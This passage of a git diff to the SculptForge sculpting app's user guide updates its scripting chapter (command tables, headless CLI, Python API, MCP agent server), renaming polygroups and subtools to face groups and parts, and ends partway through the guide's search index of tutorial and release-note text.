<code>size</code></td></tr><tr><td>Parts</td><td><code>subtool_select</code></td><td><code>index</code> or <code>name</code></td></tr><tr><td>Vertex Paint</td><td><code>set_color</code>, <code>paint_fill</code></td><td><code>color</code>, <code>area</code> (unmasked, masked, all)</td></tr><tr><td>Vertex Paint</td><td><code>paint_from_cavity</code></td><td><code>color</code>, <code>strength</code>, <code>smoothing</code></td></tr><tr><td>AI</td><td><code>image_to_3d</code></td><td><code>path</code> (required), <code>service</code>, <code>model</code>, <code>remesh</code>, <code>resolution</code></td></tr><tr><td>AI</td><td><code>text_to_3d</code></td><td><code>prompt</code> (required), <code>service</code>, <code>model</code></td></tr><tr><td>Export</td><td><code>export_glb</code>, <code>export_usd</code>, <code>export_stl</code>, <code>export_ply</code></td><td><code>path</code> (required); <code>export_stl</code> also <code>height_mm</code>, <code>scale</code>, <code>z_up</code></td></tr><tr><td>Export</td><td><code>export_fbx</code></td><td><code>path</code> (required), <code>lods</code>, <code>ratio</code>, <code>scale</code></td></tr><tr><td>Export</td><td><code>export_lods</code></td><td><code>path</code> (required), <code>levels</code>, <code>ratio</code></td></tr><tr><td>Unreal</td><td><code>unreal_send</code></td><td><code>destination</code>, <code>height_cm</code>, <code>lods</code>, <code>network</code></td></tr><tr><td>Splats</td><td><code>splat_to_mesh</code> (Make sculptable)</td><td><code>detail</code>, <code>preset</code>, <code>color</code>, <code>crop</code>, <code>face_guides</code>, <code>stage</code></td></tr><tr><td>Splats</td><td><code>face_guides</code></td><td><code>landmarks</code>, <code>front</code>, <code>up</code>, <code>target</code></td></tr><tr><td>Edit</td><td><code>undo</code>, <code>redo</code></td><td></td></tr></tbody></table></div>
+<div class="table-wrap"><table><thead><tr><th>Area</th><th>Command</th><th>Key parameters</th></tr></thead><tbody><tr><td>Scene</td><td><code>new_sphere</code></td><td><code>subdivisions</code> (0 to 8, default 6)</td></tr><tr><td>Scene</td><td><code>new_plane</code></td><td><code>resolution</code> (cells per side, default 128)</td></tr><tr><td>Files</td><td><code>open</code></td><td><code>path</code>: models, projects, splats, Bridge files</td></tr><tr><td>Files</td><td><code>save_project</code></td><td><code>path</code> (default: the current project)</td></tr><tr><td>Files</td><td><code>open_project</code></td><td><code>path</code></td></tr><tr><td>Geometry</td><td><code>subdivide</code></td><td><code>levels</code> (1 to 4, default 1)</td></tr><tr><td>Geometry</td><td><code>remesh</code></td><td><code>resolution</code> (32 to 512, default 200)</td></tr><tr><td>Geometry</td><td><code>decimate</code></td><td><code>ratio</code> (default 0.5) or <code>triangles</code></td></tr><tr><td>Geometry</td><td><code>qremesh</code></td><td><code>target</code> (default 5000), <code>adaptive</code>, <code>keep_groups</code>, <code>detect_edges</code>, <code>use_vertexpaint</code>, <code>symmetry</code>, <code>keep_original</code></td></tr><tr><td>Parts</td><td><code>project_all</code></td><td><code>distance</code> (default 0.02), <code>mean</code>, <code>blur</code>, <code>geometry</code>, <code>vertexpaint</code>, <code>source</code></td></tr><tr><td>Geometry</td><td><code>mesh_info</code></td><td></td></tr><tr><td>Sculpting</td><td><code>stroke</code></td><td><code>points</code> (required), <code>brush</code>, <code>radius</code>, <code>strength</code>, <code>invert</code>, <code>symmetry</code>, <code>radial</code>, <code>radial_axis</code>, <code>local</code></td></tr><tr><td>Brushes</td><td><code>brush_set_alpha</code></td><td><code>name</code> (round, square, noise) or <code>path</code>, <code>invert</code></td></tr><tr><td>Brushes</td><td><code>brush_ai</code></td><td><code>prompt</code> (required), <code>provider</code>, <code>model</code>, <code>endpoint</code></td></tr><tr><td>Brushes</td><td><code>brush_install</code></td><td><code>path</code>, <code>code</code> or <code>json</code></td></tr><tr><td>Brushes</td><td><code>brush_save</code></td><td><code>path</code> (required), <code>name</code></td></tr><tr><td>Layers</td><td><code>layer_add</code></td><td><code>name</code></td></tr><tr><td>Layers</td><td><code>layer_set_weight</code></td><td><code>index</code>, <code>weight</code> (both required)</td></tr><tr><td>Masking</td><td><code>mask_by_cavity</code></td><td><code>strength</code>, <code>threshold</code></td></tr><tr><td>Masking</td><td><code>mask_invert</code>, <code>mask_clear</code>, <code>mask_blur</code>, <code>mask_grow</code></td><td><code>iterations</code> where it applies</td></tr><tr><td>Face Groups</td><td><code>facegroup_auto_by_normals</code></td><td><code>angle</code> (default 30)</td></tr><tr><td>Visibility</td><td><code>isolate_facegroup</code>, <code>hide_facegroup</code></td><td><code>group</code> (required)</td></tr><tr><td>Visibility</td><td><code>show_all</code>, <code>delete_hidden</code></td><td></td></tr><tr><td>Transform</td><td><code>transform</code></td><td><code>translate</code>, <code>rotate</code>, <code>scale</code>, <code>pivot</code>, <code>orient</code>, <code>masked</code>, <code>falloff</code>, <code>symmetry</code>, <code>all</code> (<a href="gizmo.html#scripting">Gizmo</a>)</td></tr><tr><td>Parts</td><td><code>part_append</code></td><td><code>type</code> (sphere, cube, plane) or <code>path</code>, <code>name</code>, <code>size</code></td></tr><tr><td>Parts</td><td><code>part_select</code></td><td><code>index</code> or <code>name</code></td></tr><tr><td>Vertex Paint</td><td><code>set_color</code>, <code>paint_fill</code></td><td><code>color</code>, <code>area</code> (unmasked, masked, all)</td></tr><tr><td>Vertex Paint</td><td><code>paint_from_cavity</code></td><td><code>color</code>, <code>strength</code>, <code>smoothing</code></td></tr><tr><td>AI</td><td><code>image_to_3d</code></td><td><code>path</code> (required), <code>service</code>, <code>model</code>, <code>remesh</code>, <code>resolution</code></td></tr><tr><td>AI</td><td><code>text_to_3d</code></td><td><code>prompt</code> (required), <code>service</code>, <code>model</code></td></tr><tr><td>Export</td><td><code>export_glb</code>, <code>export_usd</code>, <code>export_stl</code>, <code>export_ply</code></td><td><code>path</code> (required); <code>export_stl</code> also <code>height_mm</code>, <code>scale</code>, <code>z_up</code></td></tr><tr><td>Export</td><td><code>export_fbx</code></td><td><code>path</code> (required), <code>lods</code>, <code>ratio</code>, <code>scale</code></td></tr><tr><td>Export</td><td><code>export_lods</code></td><td><code>path</code> (required), <code>levels</code>, <code>ratio</code></td></tr><tr><td>Unreal</td><td><code>unreal_send</code></td><td><code>destination</code>, <code>height_cm</code>, <code>lods</code>, <code>network</code></td></tr><tr><td>Splats</td><td><code>splat_to_mesh</code> (Make sculptable)</td><td><code>detail</code>, <code>preset</code>, <code>color</code>, <code>crop</code>, <code>face_guides</code>, <code>stage</code></td></tr><tr><td>Splats</td><td><code>face_guides</code></td><td><code>landmarks</code>, <code>front</code>, <code>up</code>, <code>target</code></td></tr><tr><td>Edit</td><td><code>undo</code>, <code>redo</code></td><td></td></tr></tbody></table></div>
<p>A few commands exist only inside the app, because they change the view rather than the model: <code>set_material</code> (<code>name=</code> a Lit Sphere such as Sculpt, or Studio) and <code>new_cube</code>.</p>
<h2 id="sculptforge-cli">sculptforge-cli<a class="anchor" href="#sculptforge-cli" aria-label="Link to this section">#</a></h2>
<p><code>sculptforge-cli</code> runs commands without a window: on a server, a render farm node or in a build pipeline. It keeps one scene for the whole run, loads your brush library (and studio brushes), and uses the same <code>ai.json</code> settings as the app.</p>
@@ -152,7 +152,7 @@ sculptforge-cli -c &#x27;open path=bust.sfproj; paint_from_cavity color=&quot;#3
<aside class="callout callout-warning"><p><strong>Warning:</strong> Without the quotes, <code>#3a2a20</code> would start a comment. In a shell, put the whole script in single quotes so the double quotes reach SculptForge.</p></aside>
<h2 id="the-sculptforge-app-on-the-command-line">The SculptForge app on the command line<a class="anchor" href="#the-sculptforge-app-on-the-command-line" aria-label="Link to this section">#</a></h2>
<p>The desktop app takes a few options too, for renders and start-up scripts:</p>
-<div class="table-wrap"><table><thead><tr><th>Option</th><th>What it does</th></tr></thead><tbody><tr><td><code>sculptforge FILE</code></td><td>Opens a model, project, splat capture or image at start-up</td></tr><tr><td><code>--run &quot;&lt;commands&gt;&quot;</code></td><td>Runs commands at start-up</td></tr><tr><td><code>--render out.png</code></td><td>Renders the scene to an image and exits</td></tr><tr><td><code>--turntable N</code></td><td>With <code>--render</code>: N frames around the model (<code>out_000.png</code> ...)</td></tr><tr><td><code>--size WxH</code></td><td>Render size (default 1024x1024)</td></tr><tr><td><code>--view YAW,PITCH</code></td><td>Camera angles in degrees (default -30,-15)</td></tr><tr><td><code>--zoom F</code></td><td>Move the camera F times closer than the framed view</td></tr><tr><td><code>--wireframe</code>, <code>--polygroups</code></td><td>Render with the wireframe or face group colours</td></tr><tr><td><code>--hide-mesh</code></td><td>Render only the Gaussian splats</td></tr><tr><td><code>--fullscreen</code></td><td>Start filling the screen (<kbd>F11</kbd> toggles)</td></tr><tr><td><code>--demo NAME</code>, <code>--record out.mp4</code></td><td>Play a scripted demo, and record it to a video (needs ffmpeg)</td></tr><tr><td><code>--ui-test FILE.sfui</code>, <code>--ui-out DIR</code></td><td>Run an interface test script (for developers)</td></tr></tbody></table></div>
+<div class="table-wrap"><table><thead><tr><th>Option</th><th>What it does</th></tr></thead><tbody><tr><td><code>sculptforge FILE</code></td><td>Opens a model, project, splat capture or image at start-up</td></tr><tr><td><code>--run &quot;&lt;commands&gt;&quot;</code></td><td>Runs commands at start-up</td></tr><tr><td><code>--render out.png</code></td><td>Renders the scene to an image and exits</td></tr><tr><td><code>--turntable N</code></td><td>With <code>--render</code>: N frames around the model (<code>out_000.png</code> ...)</td></tr><tr><td><code>--size WxH</code></td><td>Render size (default 1024x1024)</td></tr><tr><td><code>--view YAW,PITCH</code></td><td>Camera angles in degrees (default -30,-15)</td></tr><tr><td><code>--zoom F</code></td><td>Move the camera F times closer than the framed view</td></tr><tr><td><code>--wireframe</code>, <code>--facegroups</code></td><td>Render with the wireframe or face group colours</td></tr><tr><td><code>--hide-mesh</code></td><td>Render only the Gaussian splats</td></tr><tr><td><code>--fullscreen</code></td><td>Start filling the screen (<kbd>F11</kbd> toggles)</td></tr><tr><td><code>--demo NAME</code>, <code>--record out.mp4</code></td><td>Play a scripted demo, and record it to a video (needs ffmpeg)</td></tr><tr><td><code>--ui-test FILE.sfui</code>, <code>--ui-out DIR</code></td><td>Run an interface test script (for developers)</td></tr></tbody></table></div>
<p>A review sheet for a model, eight frames around it:</p>
<div class="code-block"><pre class="code"><code class="language-sh">sculptforge model.glb --render review/model.png --turntable 8 --size 1024x1024</code></pre><button class="copy" type="button" aria-label="Copy">Copy</button></div>
<p>Rendering needs an OpenGL 3.3 capable GPU or software renderer and a display. On a headless Linux node, run it under a virtual display such as Xvfb (<code>xvfb-run sculptforge ...</code>).</p>
@@ -174,7 +174,7 @@ for name, weight in doc.layers: # sculpt layers (blend shap
print(name, weight)
print([c[&quot;name&quot;] for c in sf.commands()]) # every command with its parameters</code></pre><button class="copy" type="button" aria-label="Copy">Copy</button></div>
-<div class="table-wrap"><table><thead><tr><th>Function or property</th><th>What it does</th></tr></thead><tbody><tr><td><code>sf.run(doc, command, **params)</code></td><td>Runs one command and returns its message</td></tr><tr><td><code>sf.run_script(doc, script)</code></td><td>Runs a script in the syntax above and returns the messages</td></tr><tr><td><code>sf.commands()</code></td><td>Lists every command with its parameters</td></tr><tr><td><code>sf.tool_schema()</code></td><td>The commands as LLM tool definitions (JSON)</td></tr><tr><td><code>doc.vertices</code>, <code>doc.base_vertices</code>, <code>doc.normals</code>, <code>doc.triangles</code></td><td>Mesh arrays of the active Part (copies)</td></tr><tr><td><code>doc.mask</code>, <code>doc.colors</code>, <code>doc.polygroups</code>, <code>doc.hidden</code></td><td>Attribute arrays you can read and assign (<code>None</code> if absent)</td></tr><tr><td><code>doc.layers</code>, <code>doc.layer_delta(i)</code></td><td>Sculpt layers as <code>(name, weight)</code> and their per-vertex offsets</td></tr><tr><td><code>doc.subtools</code>, <code>doc.active_subtool</code></td><td>The Parts list and the active Part</td></tr><tr><td><code>doc.splat_count</code></td><td>Number of loaded Gaussian splats</td></tr></tbody></table></div>
+<div class="table-wrap"><table><thead><tr><th>Function or property</th><th>What it does</th></tr></thead><tbody><tr><td><code>sf.run(doc, command, **params)</code></td><td>Runs one command and returns its message</td></tr><tr><td><code>sf.run_script(doc, script)</code></td><td>Runs a script in the syntax above and returns the messages</td></tr><tr><td><code>sf.commands()</code></td><td>Lists every command with its parameters</td></tr><tr><td><code>sf.tool_schema()</code></td><td>The commands as LLM tool definitions (JSON)</td></tr><tr><td><code>doc.vertices</code>, <code>doc.base_vertices</code>, <code>doc.normals</code>, <code>doc.triangles</code></td><td>Mesh arrays of the active Part (copies)</td></tr><tr><td><code>doc.mask</code>, <code>doc.colors</code>, <code>doc.facegroups</code>, <code>doc.hidden</code></td><td>Attribute arrays you can read and assign (<code>None</code> if absent)</td></tr><tr><td><code>doc.layers</code>, <code>doc.layer_delta(i)</code></td><td>Sculpt layers as <code>(name, weight)</code> and their per-vertex offsets</td></tr><tr><td><code>doc.parts</code>, <code>doc.active_part</code></td><td>The Parts list and the active Part</td></tr><tr><td><code>doc.splat_count</code></td><td>Number of loaded Gaussian splats</td></tr></tbody></table></div>
<p>Failures raise <code>sculptforge.CommandError</code>. Long operations release the GIL, so you can run them on worker threads.</p>
<h2 id="ai-agents-mcp">AI agents (MCP)<a class="anchor" href="#ai-agents-mcp" aria-label="Link to this section">#</a></h2>
<p><code>sculptforge-cli --mcp</code> runs SculptForge as an MCP server. An AI agent (Claude Code, Claude Desktop or any MCP client) gets every command as a tool and works on one scene for the session: it can open files, generate models, sculpt strokes, remesh, paint and export.</p>
diff --git a/website/guide/search-index.js b/website/guide/search-index.js
index 8be9dcd6..28cc463e 100644
--- a/website/guide/search-index.js
+++ b/website/guide/search-index.js
@@ -1 +1 @@
-window.GUIDE_INDEX=[{"p":"index.html","c":"SculptForge User Guide","a":"","h":"SculptForge User Guide","t":"This guide explains every part of SculptForge, the free, open-source sculpting app for VFX, animation and games: how the interface is organised, how to sculpt, mask, paint (on vertices or textures) and manage Parts, how to generate models with AI, and how to get your work into a game engine, a film pipeline, Blender or another sculpting app. It is updated with every release; What's new lists what changed. Read it inside SculptForge (Help > User Guide, or Shift+F1) or on the SculptForge website."},{"p":"index.html","c":"SculptForge User Guide","a":"start-here","h":"Start here","t":"You want to Read Install it Install SculptForge: downloads for Windows, macOS and Linux Set it up on Windows The Windows notes: SmartScreen, pen tablets (Windows Ink, Mouse mode), screen scaling Make your first sculpt Your first sculpt in 10 minutes: a cute owl head from the default sphere Start from a head or body Starter meshes: base meshes with clean quads, File > New from Starter Mesh Find your way around The interface: the menus File, Edit, Sculpt, Paint, Mesh, View, Render, Help, the shelves and the Tool panel; Navigating the view Learn the brushes Sculpting and brushes Switch from another sculpting app Quick tour for experienced sculptors (the Classic layout and keys) and the Glossary Switch from Blender Blender keys, and Working with Blender for the bridge add-on Fix a problem Troubleshooting The SculptForge window with its main regions labelled"},{"p":"index.html","c":"SculptForge User Guide","a":"getting-started","h":"Getting started","t":"Welcome to SculptForge Your first sculpt in 10 minutes What's new Quick tour for experienced sculptors Install SculptForge on Windows, macOS and Linux The interface Navigating the view"},{"p":"index.html","c":"SculptForge User Guide","a":"sculpting","h":"Sculpting","t":"Sculpting and brushes Brush Lab and sharing brushes Masking Face Groups and visibility Selection sets and morph targets Parts Forge Spheres Vertex Paint and materials Texture painting UV Editor Material painting (PBR) Fill layers, Mesh Maps and Material Recipes Sculpt layers and blend shapes Facial shapes and live face Subdivision levels Micro levels: hundreds of millions of polygons Dynamic topology Sculpt Timeline and timelapse Moving, rotating and posing (Gizmo) Subdivide, remesh, decimate and LODs Cut: line, lasso, rectangle and polyline Quad retopology and detail projection"},{"p":"index.html","c":"SculptForge User Guide","a":"ai-and-capture","h":"AI and capture","t":"Image and text to 3D Gaussian splats Scan an object into a splat From scan to sculptable mesh Phone capture and AR"},{"p":"index.html","c":"SculptForge User Guide","a":"files-and-pipelines","h":"Files and pipelines","t":"Baking normal and displacement maps Exporting, Unreal and Bridge Export presets Working with Blender Working with Maya Projects, autosave and Snapshots Scripting and automation Packs and macros SculptForge for studios"},{"p":"index.html","c":"SculptForge User Guide","a":"reference","h":"Reference","t":"Keyboard and mouse Performance and big meshes Troubleshooting: tablets, display, crashes and FAQ Glossary"},{"p":"index.html","c":"SculptForge User Guide","a":"getting-help","h":"Getting help","t":"Hold Ctrl and point at any button for what it does, its shortcut and its script command. Press F1 for every shortcut and mouse gesture, and F3 to find any command by name. Ask questions and report problems on the issue tracker (Help > Report a problem). SculptForge is free software under the GNU General Public License v3.0 or later. This guide is part of SculptForge and is covered by the same licence."},{"p":"welcome.html","c":"Welcome to SculptForge","a":"","h":"Welcome to SculptForge","t":"SculptForge is a free, open-source digital sculpting application for VFX, animation and games. This chapter explains what it is, what it can and can't do yet, and how the rest of this guide is organised."},{"p":"welcome.html","c":"Welcome to SculptForge","a":"what-sculptforge-is","h":"What SculptForge is","t":"SculptForge is a focused sculpting tool with the brushes, symmetry, masking and navigation that experienced sculptors already know. Its menus are grouped by task (File, Edit, Sculpt, Paint, Mesh, View, Render, Help), with shelves around the canvas, a Library of thumbnails and pop-up pickers; a Classic layout with alphabetical palettes is one click away. It runs natively on Windows, macOS and Linux, starts in a moment, works offline and costs nothing. The Classic sculpting keys and gestures are one choice away: answer Classic sculpting keys when the first start asks what you are coming from, or pick Classic in Edit > Preferences > Input. See Quick tour for experienced sculptors. There is no account, no subscription, no licence server and no telemetry. It is free software under the GNU General Public License v3.0 or later. You own everything you make with it: the GPL covers the program, not your models. SculptForge stays free and works the same for everyone; nothing is ever paywalled. Memberships add your name to the credits, the monthly pack and a vote on what gets built. Insiders will get each release about two weeks early, starting with SculptForge 1.0 (every release stays free for everyone; bug-fix and security releases go out to everyone the same day): Help > Support SculptForge... opens sculptforge.app/support.html in your browser, where you can become a member. That is all it does: the app has no payment code, no account and no licence check. Supporters are thanked by name in Help > About. While SculptForge starts (the first time, after an update, and at most once a week otherwise) a card shows the memberships; I'm already a supporter hides it for good and Edit > Preferences > Support turns it off. After about ten hours of sculpting, SculptForge also shows one small note about this along the bottom of the canvas, once, and never again after you close it."},{"p":"welcome.html","c":"Welcome to SculptForge","a":"what-you-can-do-with-it","h":"What you can do with it","t":"Sculpt with more than twenty built-in brushes (Standard, Clay, Clay Block, Sharp Crease, Move, Smooth, Inflate, Pinch, Flatten, Crease, Trim, Tendril, Layer, Nudge, VDM, the Kelvinlet brushes and more), four stroke types, brush alphas, X/Y/Z symmetry and tablet pressure. See Sculpting and brushes. Design brushes in words with Brush Lab: describe \"dry cracked mud\" and an AI builds a brush recipe you can tweak with sliders, keep in your library and share as a file or a one-line brush code. See Brush Lab and sharing brushes. Mask, group and hide parts of the model: Ctrl to paint a mask, Ctrl+Shift to isolate a face group. See Masking and Face Groups and visibility. Keep separate meshes as Parts (body, eyes, teeth, armour), each with its own undo history. See Parts. Paint colour on the surface (vertex paint) and look at the model through the built-in Lit Sphere materials or your own. See Vertex Paint and materials. Sculpt layers that double as blend shapes (morph targets), with live weights. See Sculpt layers and blend shapes. Rebuild the mesh: Loop subdivision, voxel remesh (similar to voxel remesh), decimation and one-click LOD chains. See Subdivide, remesh, decimate and LODs. Generate a model from a sketch, concept art or a description, free through Hugging Face or on your own ComfyUI server. See Image and text to 3D. Work with Gaussian splats from phone captures: sculpt against them or turn them into meshes. See Gaussian splats. Export to glTF/GLB, FBX, OpenUSD, OBJ, STL and PLY, send models straight into Unreal Engine, and exchange them with another sculpting app through the Bridge. See Exporting, Unreal and Bridge. Automate everything: every action is a command you can type in the console, run headless with sculptforge-cli, script from Python or hand to an AI agent over MCP. See Scripting and automation."},{"p":"welcome.html","c":"Welcome to SculptForge","a":"what-it-doesnt-do-yet","h":"What it doesn't do yet","t":"SculptForge is young (version 0.10; see What's new). Some things experienced sculptors rely on are still on the roadmap: Painting across UDIM tiles (the UV Editor lays them out; painting covers tile 1001). Booleans and stencils. Others are not on the roadmap: poly modeling, the 2.5D canvas, and reading other sculpting apps' own project files directly. Not yet: where a chapter describes a feature SculptForge doesn't have, it says so in a callout like this one. The project's ROADMAP.md lists what is planned and in which order."},{"p":"welcome.html","c":"Welcome to SculptForge","a":"quick-tour-for-experienced-sculptors","h":"Quick tour for experienced sculptors","t":"Most habits carry over, and Edit > Preferences > Interface > Look > Layout > Classic brings back the alphabetical palette bar. You sculpt with a left drag, hold Alt to subtract and Shift to smooth, drag on the background to rotate, Alt+drag to pan, and hold Ctrl to mask. The palettes have the names you expect (Alpha, Brush, Stroke, Tool, Transform...), the Tool palette holds the Parts, Masking and Face Groups sub-palettes, B opens the brush pop-up with the same letter keys (B, S, T picks Standard), , opens the Library and Ctrl+Shift+I stores your interface, and S U I O, Space, Ctrl+W and the mask keys do what your hands expect with the Classic sculpting keys on (Edit > Preferences > Input). Quick tour for experienced sculptors lists what is the same, what differs and every shortcut side by side; the Glossary explains SculptForge's terms."},{"p":"welcome.html","c":"Welcome to SculptForge","a":"how-this-guide-is-organised","h":"How this guide is organised","t":"Getting started: installing (with Windows notes), the interface, navigating the view and troubleshooting. Sculpting: brushes, Brush Lab, masking, face groups, Parts, vertex paint, layers and mesh operations. AI and capture: generating models from images and text, and Gaussian splats. Files and pipelines: exporting, projects, scripting and studio deployment. Reference: keyboard and mouse, troubleshooting and the glossary. Inside SculptForge, Help > User Guide opens this guide in its own window with a table of contents, search and links between chapters. Two other kinds of help are always a keystroke away: Hold Ctrl and point at any button, slider or tile to see what it does, its shortcut and the script command behind it. Press F1 for the Controls sheet (every shortcut and mouse gesture) or F3 to search for any command by name."},{"p":"welcome.html","c":"Welcome to SculptForge","a":"getting-help-and-reporting-problems","h":"Getting help and reporting problems","t":"Help > Report a problem opens the issue tracker on GitHub (github.com/islandmed/SculptForge/issues). The form asks for your hardware: operating system, CPU and RAM, graphics card and driver, and your tablet and its driver if you use one. Add what you did just before the problem; see Troubleshooting and FAQ for what else helps. Help > Website & documentation opens the SculptForge website. For questions, tips and showing your work, Help > Join the Discord... opens the invite to the official SculptForge Discord in your browser. Bugs still go to the issue tracker, so they can be tracked and fixed."},{"p":"welcome.html","c":"Welcome to SculptForge","a":"see-also","h":"See also","t":"Installing SculptForge The interface Glossary"},{"p":"first-sculpt.html","c":"Your first sculpt in 10 minutes","a":"","h":"Your first sculpt in 10 minutes","t":"Never sculpted before? In about ten minutes this lesson turns the default sphere into a cute owl head: ear tufts, a heart-shaped face, big amber eyes under stern brows and a little orange beak. It ends with a render you can share. You only need the built-in brushes, a mouse (a pen tablet is nicer, but not required) and these twelve steps. The finished owl The lesson uses the default look: the SculptForge layout, with the menus File, Edit, Sculpt, Paint, Mesh, View, Render, Help along the top, a tool shelf under them, the brushes along the bottom and the Tool panel on the right. If you switched to the Classic layout, the Classic layout notes say where things are there. Every step can be undone with Ctrl+Z, so experiment freely. Each brush remembers its own size. To set it, hold the cursor over the canvas, press S, type the number the step gives and press Enter (or drag the slider that appears). [ and ] make it smaller and bigger. Tip: Help > Your first sculpt (10 min) opens this lesson inside SculptForge any time; Shift+F1 hides it and shows it again where you left off."},{"p":"first-sculpt.html","c":"Your first sculpt in 10 minutes","a":"1-start-with-a-sphere","h":"1. Start with a sphere","t":"Goal: a fresh sphere, seen from the front. Press Ctrl+N (File > New Sphere). Press F to frame it. To look around: drag on the empty background to rotate, Alt + drag on the background to move the view, scroll to zoom. Press F again whenever you lose it. Check that X is lit on the tool shelf: symmetry is on, so everything you do on one side happens on the other. The default sphere in the SculptForge layout Tip: right-drag anywhere rotates the view too, even over the model. See Navigating the view."},{"p":"first-sculpt.html","c":"Your first sculpt in 10 minutes","a":"2-pull-up-the-ear-tufts","h":"2. Pull up the ear tufts","t":"Goal: two pointed tufts on top of the head. Pick Move: press 4, or click Move on the bottom shelf. Set its size to 110. Start on the top of the sphere, a little left of the middle, and drag up and out. Symmetry pulls the right tuft. Two ear tufts pulled up with Move Tip: if the view turns instead, you started on the background. Undo and start the drag a little further inside the sphere."},{"p":"first-sculpt.html","c":"Your first sculpt in 10 minutes","a":"3-dig-the-face","h":"3. Dig the face","t":"Goal: two round hollows, the owl's face discs. Pick Clay: press 2. Set its size to 120. Hold Alt and click four times where the left eye goes, a little left of the middle and halfway down. With Alt, Clay digs in instead of building up. Two face discs dug with Alt+Clay Tip: a click is one dab of the brush. Several clicks in one place build up (or dig) more."},{"p":"first-sculpt.html","c":"Your first sculpt in 10 minutes","a":"4-shape-the-beak","h":"4. Shape the beak","t":"Goal: a small pointed beak between the eyes. Pick Inflate: press 5. Set its size to 30 and click three times on the middle line, just below the face discs: a bump. Pick Move (4), size 30. Drag from the bump a short way down: it points. Pick Smooth (3), size 24, and drag once down the beak to tidy it. The beak Tip: hold Shift and drag to smooth with any brush, whenever a stroke leaves a lump."},{"p":"first-sculpt.html","c":"Your first sculpt in 10 minutes","a":"5-divide-three-times","h":"5. Divide three times","t":"Goal: enough polygons for crisp eyes and colours. Press Ctrl+D three times (Tool > Geometry > Divide). Each Divide makes four polygons out of every one and smooths the shape: about 5 million triangles now. Divided three times: the same shape, smoother Tip: sculptors block out the big shapes on a light mesh, then divide for details. Shift+D and D step down and up the levels. See Subdivision levels."},{"p":"first-sculpt.html","c":"Your first sculpt in 10 minutes","a":"6-add-the-eyes","h":"6. Add the eyes","t":"Goal: big round eyeballs in the face discs. Pick Inflate (5), size 52. Click three times in the middle of the left face disc. Symmetry adds the right eye. Eyes inflated in the face discs Tip: Inflate swells the surface along its normals, so dabs make round, even bulges."},{"p":"first-sculpt.html","c":"Your first sculpt in 10 minutes","a":"7-give-it-brows","h":"7. Give it brows","t":"Goal: a V of brows that gives the owl its look. Pick Clay (2), size 30. Drag twice from between the eyes up and out over the left eye. Brows built up with Clay Tip: the angle of the brows sets the mood: up and out for a stern owl, flatter for a sleepy one."},{"p":"first-sculpt.html","c":"Your first sculpt in 10 minutes","a":"8-colour-it-brown","h":"8. Colour it brown","t":"Goal: warm brown feathers everywhere. Open Paint. In Vertex Paint & Color, pick a warm brown in the colour wheel and click Fill. The owl filled brown"},{"p":"first-sculpt.html","c":"Your first sculpt in 10 minutes","a":"9-paint-the-face","h":"9. Paint the face","t":"Goal: soft cream face discs. Press P (or click Paint on the tool shelf): the brush now paints colour without changing the shape. Set its size to 100. Make the edge soft: with the cursor over the canvas press O (Falloff), type 0 and press Enter. Pick a cream colour and click twice on the left face disc. Cream face discs Tip: a soft edge blends one colour into the next, like feathers."},{"p":"first-sculpt.html","c":"Your first sculpt in 10 minutes","a":"10-paint-the-eyes","h":"10. Paint the eyes","t":"Goal: amber eyes with black pupils and a glint. Give the brush a hard edge: O, type -100, Enter. Size 44, amber: click once in the middle of the left eye. Size 24, black: click once in the same spot for the pupil. Size 8, white: click once at the top left of the pupil for the glint. Amber eyes, pupils and glints Tip: C over the model picks up the colour under the cursor, and Alt paints back towards white. See Vertex Paint."},{"p":"first-sculpt.html","c":"Your first sculpt in 10 minutes","a":"11-paint-the-beak-and-tufts","h":"11. Paint the beak and tufts","t":"Goal: an orange beak and darker tuft tips. Size 16, orange: drag down the beak, twice. Soft edge again (O, 0, Enter), size 70, dark brown: click twice on the tip of the left tuft. Press P again to go back to sculpting. Beak and tufts painted"},{"p":"first-sculpt.html","c":"Your first sculpt in 10 minutes","a":"12-shade-it-and-save-a-render","h":"12. Shade it and save a render","t":"Goal: a picture of your sculpt to share. Press M over the canvas and click White: a clean material that shows your colours. Open Render > Materials and click PBR under Viewport Shading: soft studio light with gentle reflections. Turn the view to a three-quarter angle, a little from above, and press F. Click Save Render at the bottom of Render > Materials. The status bar names the picture (twice the size of the view); find it under Library > Image. Size and the shape buttons (1:1, 16:9, 9:16, 4:3) below it make a bigger or differently shaped picture, as a PNG or a JPG. Light, above it, turns the light around the model. Press Ctrl+S to save the project. Render > Materials with PBR shading and Save Render Well done: that's a sculpt, painted and rendered."},{"p":"first-sculpt.html","c":"Your first sculpt in 10 minutes","a":"whats-next","h":"What's next","t":"Share it in #show-your-sculpts on the SculptForge Discord. We'd love to see it. Try every brush and the keys that change them: Sculpting and brushes. Masks by brush, lasso, rectangle and cavity: Masking. Paint layers, cavity paint and Lit Sphere materials: Vertex Paint and materials. Find your way around the menus and shelves: The interface."},{"p":"whats-new.html","c":"What's new","a":"","h":"What's new","t":"What changed in each version of SculptForge, newest first. The first time you start a new version, a window shows its main features, each with a Try it button; Help > What's New opens it again. Below are the last three versions in full, then the older ones in groups. Every detail is in the changelog."},{"p":"whats-new.html","c":"What's new","a":"version-01011","h":"Version 0.10.11","t":"Update channel: Preferences > Updates > Update channel picks Stable (finished releases, the default) or Preview (betas), which also offers the betas of the next version, a couple of weeks before it ships. A beta says so in the title bar and About (\"0.11.0 Beta 1\"). Problems in a beta go to the Discord's #bug-reports. High-DPI laptops: on a Windows laptop at 150-200 % scaling the window opens inside the screen at a size the interface fits, and nothing runs past its edges. Right tray in every look: Forge Terminal, Phosphor and Blueprint open the right tray on 1280 px screens, as Classic does. QuickMenu: square thumbnails and the look's own colours. Faster Voxel Remesh: Tool > Remesh > Voxel Remesh is about 3-4 times faster (a 500,000-triangle sculpt at the default resolution in about a third of a second) and runs in the background with a progress bar and Cancel, so the app never freezes while it works. Our own names, everywhere: the keymap is now Classic sculpting keys with the Classic layout, the exchange menu is File > Bridge (Send, Receive, Import / Export Bridge file), and the brushes are stored as Sharp Crease, Clay Block and Tendril. Older projects, brush files, hotkeys, shelves and radial menus load as before."},{"p":"whats-new.html","c":"What's new","a":"version-01010","h":"Version 0.10.10","t":"Shapes in the stroke popup: press G and pick Mask Pen, Lasso or Rect, or Cut Line, Lasso, Rect or Polyline. A plain drag then masks or cuts with that shape, no Ctrl or Ctrl+Shift held (with a mask shape on, Ctrl unmasks). Pick it again to turn it off. Background jobs keep your Part: a Quad Remesh, Voxel Remesh, Auto UV or Unwrap that finishes after you picked another Part puts its result on its own Part; the Part you picked stays active. SpaceMouse detection (#104): more 3Dconnexion devices are recognised (by name, also over Bluetooth), and Edit Preferences > Input > 